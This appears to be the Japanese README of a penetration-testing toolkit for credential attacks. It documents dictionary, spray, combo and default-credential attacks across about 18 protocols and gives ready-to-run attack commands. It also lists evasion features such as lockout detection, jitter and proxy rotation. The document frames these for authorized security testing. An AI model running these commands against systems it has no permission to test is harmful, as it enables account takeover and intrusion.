CredAttack — 資格情報攻撃ツールキット

⚠️ 法的通知 — 許可を得たセキュリティテストのみ。
このツールを、所有していない、または明示的な書面による許可を得ていないシステムに対して使用することは、米国のComputer Fraud and Abuse Act、英国のComputer Misuse Act、および世界各国の同等の法律に違反します。SECURITY.md を参照してください。

---

目次

• CredAttackとは？
• 攻撃モード
• 対応プロトコル
• アーキテクチャ
• クイックスタート
• インストール
• CLIリファレンス
• パスワード変異エンジン
• デフォルト資格情報データベース
• プロキシローテーション
• HTMLレポート
• 設定と環境変数
• Docker
• テスト
• プロジェクト構造
• コントリビューション

---

CredAttackとは？

CredAttackは、許可を得たペネトレーションテスト業務のためのモジュール式の本番グレード資格情報テストスイートです。資格情報攻撃のライフサイクル全体をカバーします：

フェーズ	CredAttackの機能
偵察	デフォルト資格情報DB（200以上のペア）、スマートなユーザー名由来パターン生成
攻撃	17のプロトコル攻撃モジュール、6つの攻撃モード、マルチターゲットキャンペーン
回避	ロックアウト検出、設定可能なレート制限、ジッター、プロキシローテーション
報告	JSONL監査ログ、Jinja2 HTMLレポート、発見資格情報バナー＋ファイル出力

---

攻撃モード

モード	コマンド	説明
辞書攻撃	ssh, ftp, smb, …	1ユーザーに対するワードリスト
スプレー	spray	ユーザーリストに対する1つのパスワード（ロックアウト安全）
コンボ	combo	全ユーザー × 全パスワード
スマート	smart	ユーザー名/会社由来のパターン生成
デフォルト	defaults	200以上の既知のサービスデフォルトを試行
マルチターゲット	multi	ホストリストに対する同一攻撃
フルパイプライン	full	全プロトコル、1つのレポート

---

対応プロトコル

#	プロトコル	モジュール	デフォルトポート	備考
1	SSH	ssh.py	22	paramiko、鍵/パスワード認証
2	FTP	ftp.py	21	アクティブ＆パッシブモード
3	HTTPフォーム	http_form.py	80/443	CSRFトークン自動検出
4	HTTP Basic	http_basic.py	80	RFC 7617
5	HTTP Digest	http_digest.py	80	RFC 7616
6	SMB	smb.py	445	impacket、NTLM
7	RDP	rdp.py	3389	impacket NLA
8	SMTP	smtp.py	587	STARTTLS
9	POP3	pop3.py	110	APOP対応
10	IMAP	imap.py	143	STARTTLS
11	MySQL	mysql.py	3306	mysql-connector-python
12	MSSQL	mssql.py	1433	pymssql
13	Redis	redis_proto.py	6379	AUTHコマンド
14	MongoDB	mongodb.py	27017	pymongo
15	WinRM	winrm.py	5985	NTLM、pywinrm
16	LDAP	ldap_proto.py	389	ldap3、rootDSE自動検出
17	Telnet	telnet.py	23	生TCP
18	VNC	vnc.py	5900	Raw DESチャレンジレスポンス

---

アーキテクチャ

credattack.py          ← 薄いシム: チェックアウトから `python credattack.py ...` を実行
│
├── credattack/cli.py   ← CLI (Typer) — 8つの攻撃モードサブコマンド。pipインストール時は
│                          `credattack` コンソールスクリプトとしても機能
├── credattack/core/
│   ├── config.py      ← Pydantic v2 Settings、CREDATTACK_* 環境変数による上書き
│   ├── engine.py      ← AttackEngine (ThreadPoolExecutor + Rich進捗UI)
│   ├── lockout.py     ← LockoutDetector (スライディングウィンドウ、スレッドセーフ)
│   ├── proxy.py       ← ProxyRotator (ラウンドロビン、ヘルスチェック、降格)
│   ├── mutator.py     ← PasswordMutator (leet、季節、サフィックス、キーボードウォーク…)
│   ├── result.py      ← AttemptResult + SessionReport データクラス
│   ├── report.py      ← Jinja2 HTMLレポート生成器
│   └── logger.py      ← Richロギング + JSONL監査ライター
│
├── credattack/protocols/
│   └── *.py           ← 18のProtocolAttacker実装
│
├── credattack/data/
│   ├── default_creds.json    ← 200以上の実際のデフォルト資格情報ペア
│   ├── smart_patterns.json   ← 140以上のエンタープライズパスワードテンプレート
│   └── wordlists/            ← サービス別デフォルトパスワードリスト
│
└── tests/             ← 50以上のpytestテスト（ユニット＋プロトコルモック）

---

クイックスタート

# クローンとセットアップ
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

# バージョン確認
python credattack.py --version

# ドライラン（接続なし — ワードリストを検証）
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run

# 実際のSSH辞書攻撃
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt

# パスワードスプレー（レート制限、ロックアウト安全）
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30

# スマートモード — ユーザー名＋会社からパターンを生成
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME

# サービスデフォルトを試行
python credattack.py defaults -t 192.168.1.100 --protocol mysql

# マルチターゲットキャンペーン
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

---

インストール

オプションA — pip + virtualenv（推奨）

python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt

オプションB — Makefileショートカット

make install      # コア依存関係
make install-dev  # + pytest-cov、ruff、mypy

オプションC — pipインストール（編集可能またはホイールから）

pip install -e .          # コア依存関係のみ
pip install -e .[full]    # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev]     # + pytest/ruff/mypy

credattack --version      # コンソールスクリプト、`python credattack.py` と同等

オプションD — Docker

docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help

# ワードリストをマウントして出力を収集
docker run --rm \
  -v $(pwd)/wordlists:/app/wordlists:ro \
  -v $(pwd)/output:/app/output \
  credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt

---

CLIリファレンス

グローバルオプション

python credattack.py [OPTIONS] COMMAND [ARGS]...

Options:
  -V, --version    バージョンを表示して終了。
  --help           ヘルプを表示。

共通フラグ（すべてのプロトコルコマンドで利用可能）

フラグ	ショート	デフォルト	説明
--target	-t	—	ターゲットホスト / IP
--port		0（プロトコルデフォルト）	TCPポートを上書き
--username	-u	—	単一ユーザー名
--user-file	-U	—	改行区切りのユーザー名ファイル
--pass-file	-P	—	改行区切りのパスワードファイル
--password	-p2	—	単一パスワード
--threads	-n	10	同時ワーカー数
--timeout	-T	5.0	試行あたりのタイムアウト（秒）
--delay	-d	0.0	試行間の固定遅延（秒）
--jitter		0.0	最大ランダムジッター（秒）
--stop-on-first		True	最初のヒット後にユーザーごとの試行を停止
--proxy-file		None	HTTP/SOCKS5プロキシリスト
--output-dir	-o	./output	結果ディレクトリ
--verbosity	-v	1	ロギングレベル（0〜3）
--dry-run		False	接続せずにペア数をカウント

サブコマンド

# プロトコル固有（それぞれ専用の攻撃モジュールにマッピング）
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
  -t HOST -u USER -P passes.txt

# HTTP（フォーム / Basic / Digest）
python credattack.py http -t http://target/login --mode form \
  --form-user-field username --form-pass-field password --success-string "Dashboard"

# スプレー — 単一パスワード、多数のユーザー、長い遅延
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30

# コンボ — ユーザー × パスワードの直積
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt

# スマート — OSINT由来の生成
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp

# デフォルト — ベンダーのデフォルト資格情報を試行
python credattack.py defaults -t HOST --protocol mysql

# マルチ — 複数ホストに対する同一攻撃
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt